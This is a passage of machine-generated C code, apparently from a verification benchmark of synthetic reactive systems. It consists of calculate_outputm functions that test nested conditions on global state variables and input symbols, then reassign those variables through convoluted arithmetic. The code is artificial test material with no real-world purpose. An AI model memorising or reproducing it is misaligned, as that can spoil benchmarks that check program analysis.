if(((((105 == a156[5]) && (input == inputs[4] && (36 == a10[4]))) && a17 == 6) && ((a130 == a148[2] && ((100 == a180[1]) && (((a166 == 5 && cf==1 ) && a61 == a172[7]) && a27 == a135[4]))) && ((-62 < a12) && (-1 >= a12))))) {
cf = 0;
a111 = 10;
a156 = a103;
a10 = a113;
a43 = (a17 + 9);
a27 = a135[(a66 - -3)];
a120 = a171[(a111 + -10)];
a146 = 33 ;
a130 = a148[((a111 + a43) + -25)];
a169 = (((((((a70 * a58) % 14999) % 74) - -284) + 9) + -4761) - -4739);
a58 = ((((a169 * a12) - 8) * 1) + -3228);
a17 = (a166 - 1);
a93 = 33 ;
a70 = ((((((a12 * a58) % 14999) + -20770) / 5) - -15821) + -23460);
a66 = ((a17 / a111) + 1);
a12 = (((a12 - 3471) * 5) + -11455);
//printf("%d\n", 20);
}
if((((((a66 == 3 && ((123 < a58) && (272 >= a58))) && a120 == a171[2]) && a61 == a172[7]) && a17 == 6) && ((36 == a10[4]) && (a166 == 5 && ((a27 == a135[4] && (input == inputs[9] && cf==1 )) && (105 == a156[5])))))) {
cf = 0;
a166 = ((a66 + a111) - 14);
a182 = a137[((a111 + a17) - 13)];
a85 = a72[(a111 - 10)];
//printf("%d\n", 23);
}
if((((a27 == a135[4] && ((a166 == 5 && ( cf==1 && input == inputs[8])) && a61 == a172[7])) && (105 == a156[5])) && (a120 == a171[2] && ((a111 == 12 && (a66 == 3 && a146 == 34)) && (100 == a180[1]))))) {
cf = 0;
a156 = a103;
a58 = (((((a58 * a12) / 5) * 10) / 7) * 5);
a93 = 33 ;
a17 = ((a166 / a166) + 3);
a66 = ((a17 * a166) - 19);
a120 = a171[(a166 + -5)];
a10 = a113;
a130 = a148[(a166 - 5)];
a27 = a135[(a111 + -9)];
a180 = a165;
a70 = (((((a70 * a12) + -5351) + 10033) / 5) - 8950);
a185 = a129;
a12 = (((((a12 * a58) % 14999) - -4404) + 10488) - 40001);
a173 = 33 ;
a111 = (a166 + 5);
//printf("%d\n", 25);
}
}
int calculate_outputm21(int input) {
if(((((123 < a58) && (272 >= a58)) && (a130 == a148[2] && (a173 == 34 && a146 == 34))) && ((((93 < a70) && (251 >= a70)) && (a61 == a172[7] && cf==1 )) && a66 == 3))) {
calculate_outputm67(input);
}
}
int calculate_outputm68(int input) {
if(((((123 < a58) && (272 >= a58)) && (a130 == a148[2] && ((-62 < a12) && (-1 >= a12)))) && ((36 == a10[4]) && (a66 == 3 && ((((( cf==1 && a7 == 35) && a166 == 6) && a27 == a135[4]) && input == inputs[9]) && a85 == a72[2]))))) {
cf = 0;
a168 = (a66 + 10);
a27 = a135[(a168 + -6)];
a185 = a108;
//printf("%d\n", 24);
}
if(((a7 == 35 && ((100 == a180[1]) && (input == inputs[3] && (a85 == a72[2] && ((a27 == a135[4] && cf==1 ) && a166 == 6))))) && (((a111 == 12 && a93 == 34) && a173 == 34) && ((-62 < a12) && (-1 >= a12))))) {
cf = 0;
if((a182 == a137[1] || (!(a7 == 33) || (!(a85 == a72[6]) || a27 == a135[6])))) {
a10 = a199;
a180 = a55;
a17 = 11;
a43 = (a166 + 7);
a173 = 35 ;
a85 = a72[6];
a93 = 35 ;
a120 = a171[7];
a70 = ((((a70 * 27) / 10) * 5) * 5);
a12 = (((((a12 % 30) - 1) + -14) - 27318) + 27324);
a66 = 4;
a146 = 34 ;
a27 = a135[(a43 - 7)];
a169 = ((((((a58 * a58) % 14999) / 5) - -12307) % 74) + 225);
a156 = a107;
a111 = 13;
a130 = a148[6];
a58 = (((a58 - 151) + -3) - 1);
}else {
a168 = (a66 - -9);
a27 = a135[((a17 / a111) - -7)];
a174 = ((a111 - a66) - -3);
a17 = 11;
}//printf("%d\n", 22);
}
if((((a111 == 12 && (a166 == 6 && (a7 == 35 && cf==1 ))) && a146 == 34) && ((a130 == a148[2] && ((a27 == a135[4] && (input == inputs[4] && a93 == 34)) && a85 == a72[2])) && ((-62 < a12) && (-1 >= a12))))) {
cf = 0;
a157 = (a111 - 4);
a120 = a171[1];
a27 = a135[(a111 + -7)];
a173 = 36 ;
a150 = a115;
//printf("%d\n", 23);
}
if((((a7 == 35 && (a17 == 6 && a166 == 6)) && a66 == 3) && (a146 == 34 && ((36 == a10[4]) && (((-62 < a12) && (-1 >= a12)) && (((input == inputs[2] && cf==1 ) && a27 == a135[4]) && a85 == a72[2])))))) {
cf = 0;
if((a117 == a38[3] || !(a61 == a172[7]))) {
a157 = ((a66 * a111) - 22);
a180 = a149;
a93 = 34 ;
a173 = 35 ;
a58 = ((((a58 + 6794) + -23222) - -10516) - -7225);
a130 = a148[7];
a17 = 7;
a66 = 2;
a156 = a107;
a27 = a135[(a66 - 1)];
a10 = a199;
a43 = (a157 + -2);
a70 = ((((a70 - -572) % 60) + -28) + 26);
a120 = a171[6];
a111 = 13;
}else {
a173 = 32 ;
a169 = (((((((a12 * a12) + 6336) % 25) - -176) * 5) % 25) + 174);
a156 = a86;
a120 = a171[1];
a58 = (((((a58 + -151) + 1) * 5) % 77) + 45);
a17 = 7;
a25 = ((((((a70 * a169) % 14999) + 8248) * -1) / 10) * 5);
a111 = 17;
a180 = a149;
a93 = 34 ;
a27 = a135[((a66 - a66) + 6)];
a85 = a72[1];
a66 = 2;
a130 = a148[5];
a10 = a128;
a70 = (((((a70 % 78) - -108) / 5) * 45) / 10);
}//printf("%d\n", 24);
}
if((((105 == a156[5]) && (a93 == 34 && (a85 == a72[2] && ((a130 == a148[2] && input == inputs[1]) && a146 == 34)))) && (((a27 == a135[4] && ( cf==1 && a7 == 35)) && a166 == 6) && ((123 < a58) && (272 >= a58))))) {
cf = 0;
a168 = (a17 - -9);
a27 = a135[(a168 - 8)];
a166 = ((a168 + a111) + -20);
//printf("%d\n", 22);
}
if(((((93 < a70) && (251 >= a70)) && ((a111 == 12 && (36 == a10[4])) && a173 == 34)) && (((a7 == 35 && (((a27 == a135[4] && cf==1 ) && a166 == 6) && input == inputs[7])) && a93 == 34) && a130 == a148[2]))) {
cf = 0;
if((((!(a61 == 8) || (a85 == 3 || !(a182 == a137[1]))) || !(a182 == 10)) && a182 == 6)) {
a27 = a135[(a166 - -1)];
a166 = ((a66 + a66) - -1);
a168 = ((a66 - a111) - -24);
}else {
a27 = a135[(a166 - 4)];
a166 = (a17 - -1);
a146 = 34 ;
a19 = a57;
}//printf("%d\n", 19);
}
if(((((123 < a58) && (272 >= a58)) && (a146 == 34 && (a111 == 12 && ((a7 == 35 && (input == inputs[6] && cf==1 )) && a173 == 34)))) && (a93 == 34 && (((36 == a10[4]) && a166 == 6) && a27 == a135[4])))) {
cf = 0;
a182 = a137[(a66 + 2)];
a166 = ((a17 * a111) - 71);
//printf("%d\n", 25);
}
if((((((-62 < a12) && (-1 >= a12)) && a111 == 12) && a93 == 34) && ((((a166 == 6 && (a17 == 6 && (input == inputs[5] && (a7 == 35 && cf==1 )))) && a27 == a135[4]) && (105 == a156[5])) && a66 == 3))) {
cf = 0;
a130 = a148[5];
a12 = (((a12 / 5) + -82) + 4);
a43 = a111;
a173 = 36 ;
a17 = 8;
a120 = a171[1];
a27 = a135[(a166 - 6)];
a157 = (a66 + 6);
a180 = a55;
a156 = a86;
a58 = ((((a58 / 5) + 179) * 9) / 10);
a93 = 36 ;
a111 = 13;
a10 = a199;
a70 = (((a70 + 7554) + 20484) + 379);
a85 = a72[1];
a146 = 34 ;
a66 = 3;
//printf("%d\n", 23);
}
if(((a173 == 34 && (a166 == 6 && (a7 == 35 && ( cf==1 && a27 == a135[4])))) && (a93 == 34 && (input == inputs[8] && (((a85 == a72[2] && ((93 < a70) && (251 >= a70))) && (100 == a180[1])) && ((-62 < a12) && (-1 >= a12))))))) {
cf = 0;
a168 = a111;
a174 = (a166 + 3);
a27 = a135[(a66 + 4)];
//printf("%d\n", 19);
}
if(((a66 == 3 && (a146 == 34 && (a7 == 35 && (input == inputs[0] && cf==1 )))) && (a85 == a72[2] && ((((a93 == 34 && a173 == 34) && a27 == a135[4]) && a166 == 6) && ((-62 < a12) && (-1 >= a12)))))) {
cf = 0;
a85 = a72[6];
a130 = a148[3];
a58 = (((a58 / 5) / 5) - -138);
a12 = ((((a12 % 30) + -26) - 2) / 5);
a44 = a37;
a93 = 34 ;
a180 = a165;
a27 = a135[(a66 + -2)];
a17 = 10;
a156 = a107;
a70 = ((((a70 % 78) + 111) + 14718) + -14693);
a146 = 33 ;
a111 = 14;
a10 = a199;
a120 = a171[5];
a173 = 36 ;
a185 = a108;
a66 = 3;
//printf("%d\n", 24);
}
}
int calculate_outputm22(int input) {
if((((100 == a180[1]) && (((105 == a156[5]) && a173 == 34) && a66 == 3)) && ((a120 == a171[2] && (a7 == 35 && cf==1 )) && a93 == 34))) {
calculate_outputm68(input);
}
}
int calculate_outputm69(int input) {
if(((a17 == 6 && (a111 == 12 && ((36 == a10[4]) && ((((93 < a70) && (251 >= a70)) && a166 == 8) && a130 == a148[2])))) && (a66 == 3 && ((a92 == 32 && (a27 == a135[4] && cf==1 )) && input == inputs[2])))) {
cf = 0;
if((a27 == a135[3] || (a173 == 36 || !(a16 == a140[6])))) {
a68 = 34 ;
a168 = ((a66 / a166) - -9);
a27 = a135[((a66 + a168) + -5)];
}else {
a70 = (((((a70 * a58) % 14999) / 5) + -17169) + -7163);
a156 = a103;
a43 = (a166 - -2);
a10 = a113;
a120 = a171[(a66 - a66)];
a12 = (((((a70 * a70) % 14999) + 14764) + -44332) - 225);
a16 = a140[(a43 - 6)];
a180 = a165;
a58 = (((((a12 * a12) % 14999) / 5) / 5) + -7529);
a111 = ((a66 - a17) - -13);
a27 = a135[(a43 - 10)];
a130 = a148[(a17 + -6)];
a146 = 33 ;
a85 = a72[(a111 + -10)];
a93 = 33 ;
a17 = ((a66 / a66) - -3);
a173 = 33 ;
a66 = (a111 - 9);
}//printf("%d\n", 23);
}
if(((input == inputs[6] && ((105 == a156[5]) && ((100 == a180[1]) && (((a27 == a135[4] && (( cf==1 && a92 == 32) && a166 == 8)) && a111 == 12) && a146 == 34)))) && (a130 == a148[2] && ((123 < a58) && (272 >= a58))))) {
cf = 0;
a12 = (((((91 - 18483) * 10) / 9) * 10) / 9);
a10 = a113;
a120 = a171[((a166 + a166) - 16)];
a173 = 33 ;
a93 = 34 ;
a85 = a72[(a166 - a166)];
a156 = a103;
a130 = a148[(a111 - 12)];
a58 = (((((a12 * a12) % 14999) - 18618) - -1115) - 4022);
a27 = a135[(a17 - 6)];
a180 = a165;
a70 = (((((a70 * a58) % 14999) / 5) - 5246) + -7308);
a168 = (a111 - 4);
a43 = ((a66 / a66) + 12);
a17 = (a166 + -4);
a146 = 33 ;
a111 = (a166 + 2);
a66 = (a166 - 7);
//printf("%d\n", 19);
}
}
int calculate_outputm23(int input) {
if(((a111 == 12 && ((100 == a180[1]) && a173 == 34)) && ((a130 == a148[2] && ((105 == a156[5]) && ( cf==1 && a92 == 32))) && ((93 < a70) && (251 >= a70))))) {
calculate_outputm69(input);
}
}
int calculate_outputm70(int input) {
if(((a130 == a148[2] && (a27 == a135[5] && (((((-168 < a51) && (-58 >= a51)) && (input == inputs[5] && cf==1 )) && ((93 < a70) && (251 >= a70))) && a66 == 3))) && (((10 == a150[4]) && ((105 == a156[5]) && ((-62 < a12) && (-1 >= a12)))) && a93 == 34))) {
cf = 0;
a27 = a135[(a111 - 6)];
a43 = (a66 - -6);
a111 = ((a17 * a43) + -44);
a169 = ((((((a12 * a70) % 74) - -350) - -4) + -18664) - -18657);
a146 = 33 ;
a156 = a103;
a130 = a148[((a111 / a17) + -1)];
a70 = ((((a51 * a51) - -670) * 1) + -33574);
a85 = a72[(a111 - 10)];
a12 = ((((a12 * a58) / 5) - 18380) * 1);
a17 = (a111 + -6);
a93 = 33 ;
a120 = a171[(a111 + -10)];
a10 = a113;
a66 = ((a43 * a111) - 89);
//printf("%d\n", 19);
}
if(((((105 == a156[5]) && ((36 == a10[4]) && ((((123 < a58) && (272 >= a58)) && ((-62 < a12) && (-1 >= a12))) && a27 == a135[5]))) && (100 == a180[1])) && ((a130 == a148[2] && (input == inputs[9] && ( cf==1 && ((-168 < a51) && (-58 >= a51))))) && (10 == a150[4])))) {
cf = 0;
a27 = a135[(a66 + 4)];
a173 = 34 ;
a168 = (a17 - -7);
a185 = a108;
//printf("%d\n", 19);
}
if(((((((-62 < a12) && (-1 >= a12)) && (a120 == a171[2] && (input == inputs[3] && a111 == 12))) && (100 == a180[1])) && a146 == 34) && ((((a27 == a135[5] && cf==1 ) && ((-168 < a51) && (-58 >= a51))) && (10 == a150[4])) && a130 == a148[2]))) {
cf = 0;
a166 = (a66 - -5);
a173 = 34 ;
a146 = 32 ;
a180 = a55;
a85 = a72[(a166 - 7)];
a27 = a135[((a66 + a111) - 13)];
a16 = a140[(a111 + -5)];
//printf("%d\n", 22);
}
}
int calculate_outputm24(int input) {
if(((((123 < a58) && (272 >= a58)) && ((100 == a180[1]) && (( cf==1 && ((-168 < a51) && (-58 >= a51))) && (105 == a156[5])))) && ((a111 == 12 && ((-62 < a12) && (-1 >= a12))) && a130 == a148[2]))) {
calculate_outputm70(input);
}
}
int calculate_outputm71(int input) {
if((((a130 == a148[2] && ((((a157 == 8 && ( cf==1 && a27 == a135[5])) && (36 == a10[4])) && (100 == a180[1])) && (16 == a150[4]))) && a146 == 34) && (input == inputs[2] && (a111 == 12 && a85 == a72[2])))) {
cf = 0;
if(((98 == a180[5]) || a157 == 13)) {
a166 = ((a157 + a66) + -10);
a120 = a171[(a157 - 6)];
a27 = a135[(a111 - 8)];
a173 = 34 ;
a182 = a137[((a66 + a111) - 8)];
}else {
a130 = a148[((a157 - a17) - 2)];
a10 = a113;
a27 = a135[((a157 * a17) + -42)];
a169 = (((((a58 * a12) % 74) - -302) + 14035) + -13993);
a93 = 33 ;
a66 = (a17 - 5);
a85 = a72[((a17 / a17) + -1)];
a156 = a103;
a111 = (a66 - -9);
a146 = 33 ;
a180 = a165;
a43 = (a17 + 10);
a70 = (((((a70 * a169) % 14999) + -17210) * 1) + -6896);
a12 = (((((26 * -46) / 10) * 5) - -27496) - 46324);
a58 = (((((a58 * a169) % 14999) + -18354) + -5912) * 1);
a17 = (a66 - -3);
}//printf("%d\n", 25);
}
if(((a17 == 6 && ((a27 == a135[5] && (a157 == 8 && (input == inputs[5] && cf==1 ))) && a66 == 3)) && (a93 == 34 && ((36 == a10[4]) && ((100 == a180[1]) && ((16 == a150[4]) && a111 == 12)))))) {
cf = 0;
if((84 == a90[2])) {
a93 = 33 ;
a27 = a135[(a111 + -12)];
a157 = (a66 + 11);
a17 = (a66 - -1);
a43 = (a66 + 9);
a130 = a148[(a111 / a157)];
a58 = (((((a58 * a70) % 14999) - -14261) + -37120) / 5);
a10 = a113;
a180 = a165;
a156 = a103;
a70 = ((((a12 * a12) - 231) + -10887) + -10181);
a66 = (a157 - 13);
a111 = (a157 + -4);
}else {
a93 = 33 ;
a58 = (((((a58 * a70) % 14999) - 19256) * 1) / 5);
a10 = a113;
a156 = a103;
a17 = (a66 + 1);
a169 = ((((((a12 * a70) / 5) % 25) - -201) / 5) - -143);
a27 = a135[(a111 + -6)];
a111 = (a157 - -2);
a130 = a148[((a17 * a17) - 16)];
a66 = (a17 - 3);
a70 = (((((((a70 * a58) % 14999) + -3973) + -29) - -24007) * -1) / 10);
a25 = ((((a169 * a12) + 7856) - 19712) - -6518);
a180 = a165;
a85 = a72[(a17 + -4)];
}//printf("%d\n", 23);
}
}
int calculate_outputm72(int input) {
if(((a120 == a171[2] && (a27 == a135[5] && (a157 == 9 && cf==1 ))) && ((a85 == a72[2] && (((((36 == a10[4]) && (100 == a180[1])) && ((-62 < a12) && (-1 >= a12))) && (16 == a150[4])) && input == inputs[3])) && a93 == 34))) {
cf = 0;
a130 = a148[(a157 + -9)];
a43 = (a157 + 1);
a146 = 33 ;
a111 = ((a66 + a66) + 8);
a85 = a72[(a157 + -9)];
a12 = (((((a58 * a58) % 14999) + -24529) * 1) - 5173);
a27 = a135[a17];
a93 = 33 ;
a180 = a149;
a120 = a171[(a111 - 10)];
a169 = ((((((a58 * a58) % 14999) / 5) % 74) + 240) * 1);
a156 = a103;
a17 = (a66 - -3);
a10 = a113;
a70 = (((((a70 * a12) % 14999) - 1157) + -6789) + -4300);
a58 = ((((a58 * 5) - 2790) - -20764) + -22491);
//printf("%d\n", 24);
}
}
int calculate_outputm25(int input) {
if(((((a111 == 12 && a17 == 6) && (100 == a180[1])) && (105 == a156[5])) && (((a157 == 8 && cf==1 ) && ((123 < a58) && (272 >= a58))) && (36 == a10[4])))) {
calculate_outputm71(input);
}
if(((a120 == a171[2] && ((( cf==1 && a157 == 9) && a130 == a148[2]) && ((93 < a70) && (251 >= a70)))) && ((a85 == a72[2] && (100 == a180[1])) && a93 == 34))) {
calculate_outputm72(input);
}
}
int calculate_outputm73(int input) {
if((((a58 <= -32 && (((( cf==1 && a117 == a38[6]) && input == inputs[6]) && a169 <= 170) && a27 == a135[6])) && a173 == 33) && (a12 <= -119 && ((a111 == 10 && a120 == a171[0]) && a17 == 4)))) {
cf = 0;
a180 = a149;
a146 = 34 ;
a156 = a107;
a166 = (a17 + -3);
a27 = a135[(a111 + -6)];
a173 = 34 ;
a17 = (a111 + -4);
a85 = a72[((a111 - a166) - 7)];
a120 = a171[(a111 + -8)];
a182 = a137[(a66 - -2)];
a66 = (a111 - 7);
a12 = (((((((a12 * a169) % 14999) * 2) - 2) + 3) % 30) - 30);
a10 = a199;
a58 = (((((((a58 * a70) % 14999) + -8127) % 74) + 198) + -28889) - -28888);
a130 = a148[(a17 - 4)];
a70 = ((((71 * 14) / 10) - 5744) - -5824);
a93 = 34 ;
a111 = (a17 + 6);
//printf("%d\n", 22);
}
if((((a169 <= 170 && a146 == 33) && a173 == 33) && (a130 == a148[0] && ((((a17 == 4 && ((a117 == a38[6] && cf==1 ) && a27 == a135[6])) && a111 == 10) && input == inputs[9]) && a12 <= -119)))) {
cf = 0;
a27 = a135[(a111 - 9)];
a173 = 32 ;
a17 = (a66 - -4);
a111 = (a66 - -10);
a180 = a55;
a156 = a107;
a146 = 32 ;
a44 = a198;
a120 = a171[(a66 / a66)];
a10 = a128;
a70 = (((((((a169 * a58) % 14999) - -8114) + 808) + 5269) % 60) - -32);
a85 = a72[((a66 * a111) + -10)];
a12 = (((((((a12 * a58) % 14999) % 28) + -111) - 28132) * 1) - -28153);
a130 = a148[((a66 * a111) + -9)];
a93 = 32 ;
a58 = ((((((((a58 * a70) % 14999) * 2) % 77) + 46) * 5) % 77) + 45);
a117 = a38[(a66 - -6)];
a66 = ((a17 - a17) - -2);
//printf("%d\n", 24);
}
if(((((a27 == a135[6] && ((a130 == a148[0] && a146 == 33) && a117 == a38[6])) && (89 == a156[1])) && (23 == a10[3])) && (a173 == 33 && ((input == inputs[8] && ( cf==1 && a169 <= 170)) && a70 <= -29)))) {
cf = 0;
a27 = a135[((a17 * a66) - 4)];
a43 = ((a111 * a17) + -26);
a16 = a140[((a43 + a43) + -26)];
//printf("%d\n", 24);
}
}
int calculate_outputm26(int input) {
if(((a173 == 33 && (a58 <= -32 && (a85 == a72[0] && ((a117 == a38[6] && cf==1 ) && a111 == 10)))) && (a12 <= -119 && (23 == a10[3])))) {
calculate_outputm73(input);
}
}
int calculate_outputm74(int input) {
if((((a120 == a171[0] && (input == inputs[9] && ((a111 == 10 && (a25 <= -117 && (((170 < a169) && (221 >= a169)) && cf==1 ))) && a27 == a135[6]))) && a66 == 1) && ((a70 <= -29 && a93 == 33) && a17 == 4))) {
cf = 0;
a70 = ((((((((a70 * a25) % 14999) % 78) + 149) * 9) / 10) / 5) + 178);
a120 = a171[((a111 + a66) - 11)];
a173 = 33 ;
a66 = (a111 - 7);
a150 = a115;
a130 = a148[(a111 + -8)];
a85 = a72[(a66 - 1)];
a17 = (a111 + -4);
a156 = a107;
a180 = a149;
a93 = 34 ;
a27 = a135[((a111 - a111) - -5)];
a58 = ((((((a58 * a169) % 14999) % 74) - -198) - 1) + 1);
a10 = a199;
a157 = (a111 + -2);
a111 = ((a66 / a66) + 11);
//printf("%d\n", 19);
}
}
int calculate_outputm27(int input) {
if((((a85 == a72[0] && (a120 == a171[0] && (a70 <= -29 && a17 == 4))) && a111 == 10) && (a173 == 33 && (a25 <= -117 && cf==1 )))) {
calculate_outputm74(input);
}
}
int calculate_outputm75(int input) {
if(((((89 == a156[1]) && input == inputs[1]) && a130 == a148[0]) && ((23 == a10[3]) && ((a146 == 33 && ((a43 == 9 && (a27 == a135[6] && ( cf==1 && ((221 < a169) && (371 >= a169))))) && a111 == 10)) && a17 == 4)))) {
cf = 0;
//printf("%d\n", 22);
}
}
int calculate_outputm76(int input) {
if(((a66 == 1 && (a85 == a72[0] && ((89 == a156[1]) && ((a58 <= -32 && a130 == a148[0]) && input == inputs[7])))) && (a146 == 33 && (((221 < a169) && (371 >= a169)) && (( cf==1 && a43 == 10) && a27 == a135[6]))))) {
cf = 0;
a168 = (a17 - -9);
a93 = 34 ;
a185 = a108;
a66 = (a168 + -10);
a173 = 34 ;
a120 = a171[(a17 + -2)];
a156 = a107;
a27 = a135[(a43 + -3)];
a130 = a148[((a66 + a66) + -4)];
a58 = ((((((a169 * a169) % 14999) % 74) + 173) / 5) + 123);
a85 = a72[(a17 - 2)];
a111 = ((a66 + a168) + -4);
a146 = 34 ;
a10 = a199;
a17 = (a43 + -4);
a70 = ((((((a70 * a169) % 14999) - -28047) % 78) - -100) - -12);
a12 = (((((((a12 * a58) % 14999) + -6057) % 30) + -13) - 21016) + 21012);
//printf("%d\n", 22);
}
if(((((a130 == a148[0] && a93 == 33) && a146 == 33) && a111 == 10) && ((a58 <= -32 && (((a27 == a135[6] && ( cf==1 && input == inputs[6])) && a43 == 10) && ((221 < a169) && (371 >= a169)))) && a173 == 33))) {
cf = 0;
a157 = (a17 + 5);
a180 = a165;
a43 = (a66 + 11);
a27 = a135[(a43 + -12)];
//printf("%d\n", 22);
}
}
int calculate_outputm77(int input) {
if((((a173 == 33 && ((a111 == 10 && a130 == a148[0]) && a12 <= -119)) && a43 == 13) && ((23 == a10[3]) && ((a146 == 33 && (input == inputs[9] && ( cf==1 && ((221 < a169) && (371 >= a169))))) && a27 == a135[6])))) {
cf = 0;
a180 = a149;
a10 = a199;
a70 = (((((((a70 * a169) % 14999) - 6211) + 12129) - 16121) % 78) - -233);
a130 = a148[(a66 + -1)];
a156 = a107;
a85 = a72[(a43 + -11)];
a27 = a135[((a43 * a111) + -123)];
a120 = a171[(a66 + -1)];
a93 = 34 ;
a168 = (a17 + 9);
a146 = 34 ;
a173 = 34 ;
a17 = (a66 + 3);
a111 = (a66 + 9);
a58 = ((((((a58 * a169) % 14999) + -5405) * 1) % 74) - -213);
a185 = a108;
a12 = (((((((a12 * a169) % 14999) / 5) - 12790) - 4556) % 30) + -21);
//printf("%d\n", 24);
}
if(((a27 == a135[6] && (((221 < a169) && (371 >= a169)) && (a43 == 13 && cf==1 ))) && ((a120 == a171[0] && ((a130 == a148[0] && (((23 == a10[3]) && input == inputs[6]) && a85 == a72[0])) && a70 <= -29)) && a146 == 33))) {
cf = 0;
a156 = a107;
a93 = 34 ;
a168 = a43;
a27 = a135[((a17 / a17) - -6)];
a173 = 34 ;
a12 = (((((((a12 * a169) % 14999) % 30) - 30) - 2) + 8132) + -8131);
a111 = (a168 - 1);
a10 = a199;
a17 = (a168 - 7);
a180 = a149;
a58 = (((((((a58 * a70) % 14999) - 28052) % 74) + 221) * 9) / 10);
a120 = a171[(a168 + -11)];
a185 = a108;
a146 = 34 ;
a70 = (((((((a70 * a169) % 14999) % 78) - -173) + 18886) - 33010) - -14122);
a130 = a148[((a168 + a168) - 24)];
a85 = a72[(a111 + -10)];
//printf("%d\n", 19);
}
}
int calculate_outputm78(int input) {
if(((a146 == 33 && (input == inputs[6] && ((((a43 == 14 && cf==1 ) && a27 == a135[6]) && a85 == a72[0]) && a17 == 4))) && ((((221 < a169) && (371 >= a169)) && ((89 == a156[1]) && (23 == a10[3]))) && a93 == 33))) {
cf = 0;
a68 = 32 ;
a169 = (((((a169 * a58) % 14999) + -5494) + 31401) / 5);
//printf("%d\n", 22);
}
if(((a120 == a171[0] && (((221 < a169) && (371 >= a169)) && (a111 == 10 && (a43 == 14 && (a27 == a135[6] && (input == inputs[7] && cf==1 )))))) && ((a70 <= -29 && (a173 == 33 && a130 == a148[0])) && a58 <= -32))) {
cf = 0;
if((a58 <= -32 && a120 == 6)) {
a111 = 14;
a10 = a128;
a146 = 36 ;
a27 = a135[(a66 + 6)];
a120 = a171[4];
a51 = (((((((a70 * a58) % 14999) % 47) - 36) + -24724) * 1) + 24703);
a85 = a72[4];
a130 = a148[7];
a168 = ((a17 / a17) + 9);
a93 = 32 ;
a12 = ((((a12 + 0) * -1) / 10) + 10834);
a173 = 32 ;
a156 = a103;
a66 = 5;
a17 = 4;
a70 = (((((a70 % 60) + 33) - -58) - 11006) + 10948);
a180 = a165;
a58 = ((((a58 * 1) % 14863) - -15135) * 1);
}else {
a27 = a135[(a17 - 1)];
a120 = a171[5];
a195 = a106[((a66 - a43) - -19)];
a146 = 34 ;
a185 = a60;
}//printf("%d\n", 23);
}
if(((((a43 == 14 && cf==1 ) && input == inputs[3]) && ((221 < a169) && (371 >= a169))) && (((((((23 == a10[3]) && a93 == 33) && (92 == a180[5])) && (89 == a156[1])) && a66 == 1) && a120 == a171[0]) && a27 == a135[6]))) {
cf = 0;
a43 = (a111 + -1);
//printf("%d\n", 22);
}
if((((((a70 <= -29 && a43 == 14) && ((221 < a169) && (371 >= a169))) && (89 == a156[1])) && a66 == 1) && ((((a27 == a135[6] && (input == inputs[9] && cf==1 )) && (23 == a10[3])) && a130 == a148[0]) && a17 == 4))) {
cf = 0;
a27 = a135[(a43 + -11)];
a195 = a106[(a66 - -4)];
a146 = 32 ;
a185 = a60;
//printf("%d\n", 22);
}
if(((a12 <= -119 && (a93 == 33 && (a43 == 14 && a111 == 10))) && ((92 == a180[5]) && (((a27 == a135[6] && (((221 < a169) && (371 >= a169)) && ( cf==1 && input == inputs[1]))) && a130 == a148[0]) && a120 == a171[0])))) {
cf = 0;
a166 = ((a111 + a17) - 13);
a10 = a128;
a156 = a86;
a182 = a137[(a66 - 1)];
a93 = 33 ;
a130 = a148[0];
a70 = (((((a70 - 0) - 0) * 1) % 14874) - -15125);
a12 = (((a12 - 0) * 1) * 1);
a146 = 35 ;
a120 = a171[4];
a58 = ((((a58 % 14863) - -15135) - -6442) + 7851);
a180 = a165;
a27 = a135[(a66 + 3)];
a17 = 11;
a66 = 7;
a85 = a72[5];
a111 = 16;
//printf("%d\n", 22);
}
if(((a43 == 14 && ((a66 == 1 && a111 == 10) && input == inputs[5])) && ((((a17 == 4 && (( cf==1 && a27 == a135[6]) && ((221 < a169) && (371 >= a169)))) && (89 == a156[1])) && a58 <= -32) && a130 == a148[0]))) {
cf = 0;
a27 = a135[((a43 - a17) + -10)];
a157 = (a66 + 8);
a43 = (a157 + 3);
//printf("%d\n", 19);
}
if(((a93 == 33 && (((a173 == 33 && ((a70 <= -29 && (92 == a180[5])) && input == inputs[0])) && a66 == 1) && a146 == 33)) && (a27 == a135[6] && (a43 == 14 && ( cf==1 && ((221 < a169) && (371 >= a169))))))) {
cf = 0;
a43 = (a17 - -7);
a51 = ((((((((a12 * a58) % 14999) % 54) - 112) * 10) / 9) + -808) - -805);
a27 = a135[(a43 - 11)];
//printf("%d\n", 23);
}
if(((a93 == 33 && (a146 == 33 && (a66 == 1 && (((a70 <= -29 && a130 == a148[0]) && input == inputs[4]) && a43 == 14)))) && (((((221 < a169) && (371 >= a169)) && cf==1 ) && a27 == a135[6]) && a120 == a171[0]))) {
cf = 0;
a43 = (a111 - -3);
a168 = (a66 + 7);
a93 = 32 ;
a27 = a135[((a111 * a43) - 130)];
//printf("%d\n", 20);
}
if(((a27 == a135[6] && ((a70 <= -29 && ((input == inputs[8] && (a43 == 14 && cf==1 )) && ((221 < a169) && (371 >= a169)))) && (89 == a156[1]))) && (a85 == a72[0] && ((a66 == 1 && a58 <= -32) && a93 == 33)))) {
cf = 0;
a93 = 35 ;
a173 = 36 ;
a180 = a165;
a44 = a37;
a130 = a148[6];
a66 = 3;
a146 = 34 ;
a10 = a113;
a58 = (((((a58 % 74) + 239) + 13396) / 5) + -2537);
a111 = 15;
a70 = (((((a70 % 14874) + 15125) - -1106) - 12383) + 17420);
a156 = a103;
a27 = a135[(a17 - 3)];
a120 = a171[2];
a12 = ((((a12 * -1) / 10) + 9289) + 13694);
a185 = a60;
a85 = a72[5];
a17 = 6;
//printf("%d\n", 20);
}
if(((((((221 < a169) && (371 >= a169)) && ( cf==1 && input == inputs[2])) && a27 == a135[6]) && a66 == 1) && (a17 == 4 && (a12 <= -119 && (((23 == a10[3]) && ((92 == a180[5]) && a43 == 14)) && a173 == 33))))) {
cf = 0;
if(((!(a17 == 8) && -1 < a12) || !(a130 == a148[4]))) {
a156 = a86;
a58 = ((((a58 % 14984) + -32) + -7202) * 1);
a182 = a137[(a66 + 6)];
a130 = a148[4];
a27 = a135[(a66 + 3)];
a166 = ((a66 * a111) + -9);
a85 = a72[3];
a12 = (((((a12 % 14940) + -119) - 480) * 10) / 9);
a173 = 32 ;
a120 = a171[3];
a111 = 17;
a146 = 32 ;
a93 = 32 ;
a70 = (((((a70 * 1) / 5) * 5) % 14985) - 29);
a17 = 8;
a10 = a128;
a180 = a165;
a66 = 5;
}else {
a43 = ((a111 / a66) - -6);
}//printf("%d\n", 19);
}
}
int calculate_outputm79(int input) {
